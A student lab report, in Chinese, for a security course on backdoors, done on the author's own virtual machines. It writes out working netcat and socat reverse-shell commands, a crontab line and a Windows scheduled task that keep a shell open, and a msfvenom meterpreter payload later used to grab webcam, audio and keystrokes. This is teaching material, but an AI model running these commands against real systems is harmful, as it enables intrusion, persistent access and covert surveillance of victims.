后门原理与应用
实验内容
- 使用netcat获取主机操作Shell,cron启动
- 使用Socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
基础问题回答
-
例举你能想到的一个后门进入到你系统中的可能方式?
- 在网上下载的一些软件,会带有后门
- 系统会自带后门
- 通过U盘传播
-
例举你知道的后门如何启动起来(win及linux)的方式?
- windows的定时任务
- linux的cron
- 社会工程学,让用户点击运行
-
Meterpreter有哪些给你映像深刻的功能?
- 开始界面真的很酷炫???(咳咳咳……
- 摄像头权限的获得,平时我自己的电脑一般都是处于开启或者休眠的状态(重新开机,启动软件太麻烦),摄像头权限一旦被他人获得,会暴露自己的隐私,生活环境,有一种时刻会被人监视的诡异感(=.=|……
-
如何发现自己有系统有没有被安装后门?
-
安装杀毒软件,定时检查自己的电脑
-
保持自己电脑的windows defender处于开启的状态
能够及时的发现后门,并删除。
-
常用后门工具
Netcat
参考资料:
关于netcat,找了一些专门介绍的博客,netcat是一个通过TCP/UDP在网络中进行读写数据工具,被称为“瑞士军刀”,主要用于调试领域、传输领域甚至黑客攻击领域。利用该工具,可以将网络中一端的数据完整的发送至另一台主机终端显示或存储,常见的应用为文件传输、与好友即时通信、传输流媒体或者作为用来验证服务器的独立的客户端。
主要功能
- 支持连出和连入(outbound and inbound connection),TCP和UDP,任意源和目的端口
- 全部DNS正向/反向检查,给出恰当的警告
- 使用任何源端口
- 使用任何本地设置的网络资源地址
- 内建端口扫描功能,带有随机数发生器
- 内建loose source-routing功能
- 可能标准输入读取命令行参数
- 慢发送模式,每N秒发送一行
- 以16进制显示传送或接收的数据
- 允许其它程序服务建立连接,可选
- 对Telnet应答,可选
netcat在kali里可以直接使用,windows中需要下载后使用(Socat同理)。
它的简单使用过程在下面实践过程记录中会有详细的介绍。
Socat
参考资料:
Netcat++,超级netcat工具
MSFmeterpreter
参考资料:
这是一个生成后门程序的平台,把后门的基本功能(基本的连接、执行指令),扩展功能(如搜集用户信息、安装服务等功能),编码模式,运行平台,以及运行参数,全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
本次实验主要用Metaspolit的msfvenom指令来生成一个后门可执行文件。
实践过程记录
写在前面的话:在本次实验中我一开始用的是本机作为windows端,但是由于我的win10是家庭版,windows defender不能完全关闭,在设置文件夹信任之后,权限又出现了问题,所以,后来在完成任务四时,切到了虚拟机来完成。以下是我的三个端的IP地址
本机windows 172.16.2.51
虚拟机kali 192.168.139.138
虚拟机windows7 192.168.139.140
1.后门工具熟悉
1.1Win获得Linux Shell
- windows端进入netcat文件的位置,使用命令行输入
ncat.exe -l -p 5211
,打开监听,其中,5211为监听的端口。
- linux端在命令行输入
nc 192.168.20.175 5211 -e /bin/sh
,反弹连接Windows端。
- 此时windows下就已经获得了linux shell,可以通过windows端的命令行实现对linux的操作啦~
1.2Linux获得Win Shell
这个操作与上一个操作类似了,以下主要过程:
- Linux运行监听指令,指令为:
nc -l -p 5211
- windows反弹连接linux,指令为 :
ncat.exe -e cmd.exe 192.168.139.138 5211
- 此时linux下就获得了windows的控制权,可以通过linux来控制windows主机了
1.3使用netcat传输数据
- 在windows下输入命令:
ncat.exe -l 5211
,实现监听5211端口
- Kali下输入
ncat 172.16.2.51 5211
,连接到windows的5211端口,输入一些数据
- 随后我们就可以看到,已经实现了linux和windows之间的数据传输啦~
2.使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令
- windows端下,输入命令
ncat.exe -l -p 5211
,监听本机的5211端口。
-
在kali端下,输入crontab -e,实现编辑一条定时任务。
-
打开后,在最后一行添加 命令
05 * * * * /bin/netcat 172.16.2.51 5211 -e /bin/sh
,即为每小时的5分运行此命令。
- 此时,可以看到,在windows端已经获得了linux的shell(ls 输多了的后果……
3.使用Socat获取主机操作Shell, 任务计划启动
-
在windows系统下,
计算机管理
-->任务计划程序
-->创建任务
-
新建触发器,选择,当工作站锁定时。
-
在操作中,将程序或脚本中选择
socat.exe
路径,参数一栏填写tcp-listen:5211 exec:cmd.exe,pty,stderr
- 完成创建,即可在将Windows主机锁定重启之后,查看任务栏工作状态,发现我们新建的任务已经开始运行。
- 在kali环境下输入
socat - tcp:172.16.2.51:5211
,即可获得windows的shell。
4. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用
msfvenom
指令生成一个后门程序。msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.138 LPORT=5211 -f exe > 20165211_Akashi.exe
-
通过nc将生成的可执行文件发送到目标windows端
Kali端:
windows端:
kali端:
- kali端使用msfconsole指令进入msf控制台,设置各项参数。执行监听
- 在windows端运行后门程序
- 则此时在kali上已经获得Windows的shell
5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 获取目标主机音频
- 获取目标主机摄像头
- 获取目标主机击键记录
实验总结与体会
遇到问题
在尝试获取主机摄像头时,出现了如下错误
检查后发现,虚拟的摄像头未分配,将虚拟机的摄像头打开后即可正常运行。
实验体会
在本次实验中,在体验了MSF的功能之后,虽然是一场自己打自己的过程,但是在现实中,如果不注意信息安全,没有安全意识,这样简单的过程,其实完全可以完成一场完整的黑客行为。(默默关掉了摄像头……)
还是要注意自己的信息安全,不随意使用来路不明的U盘,不点击有危险的文件,网络危机四伏,还是要时刻注意的。